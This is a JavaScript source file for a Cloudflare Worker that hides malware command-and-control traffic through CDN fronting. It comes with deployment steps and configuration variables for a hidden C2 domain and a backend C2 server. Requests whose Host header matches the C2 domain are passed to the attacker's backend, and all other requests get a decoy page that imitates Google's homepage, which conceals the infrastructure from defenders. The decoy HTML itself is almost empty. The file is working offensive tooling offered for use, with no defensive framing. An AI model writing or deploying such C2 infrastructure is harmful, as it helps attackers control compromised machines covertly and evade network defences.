/** * C2 CDN Fronting — Cloudflare Worker * * Inspects the Host header of incoming requests. * If it matches your hidden C2 domain, forwards the * request to your backend C2 server. * Otherwise, serves a decoy page (Google homepage clone). * * Deploy: * wrangler deploy worker.js * * Environment variables (wrangler.toml or Cloudflare dashboard): * C2_HOST — The hidden domain used for C2 routing * (e.g. "c2-api.yourdomain.com") * BACKEND_URL — Your actual C2 server URL * (e.g. "http://198.51.100.1:8080") */ export default { async fetch(request, env) { const url = new URL(request.url); const host = request.headers.get("Host") || ""; // ---- C2 routing: forward to backend ---- if (host === env.C2_HOST) { const backendUrl = env.BACKEND_URL + url.pathname + url.search; // Clone the request so we can safely read the body const backendReq = new Request(backendUrl, { method: request.method, headers: request.headers, body: request.body, redirect: "follow", }); try { const backendResp = await fetch(backendReq); // Return the backend response as-is return backendResp; } catch (err) { return new Response( JSON.stringify({ error: "backend unreachable", detail: err.message }), { status: 502, headers: { "Content-Type": "application/json" }, } ); } } // ---- Decoy: serve a Google-like landing page ---- return new Response(DECOY_HTML, { headers: { "Content-Type": "text/html; charset=utf-8", "Cache-Control": "public, max-age=300", }, }); }, }; // ────────────────────────────────────────────── // Decoy HTML — Minimal Google.com look-alike // ────────────────────────────────────────────── const DECOY_HTML = ` Google
`;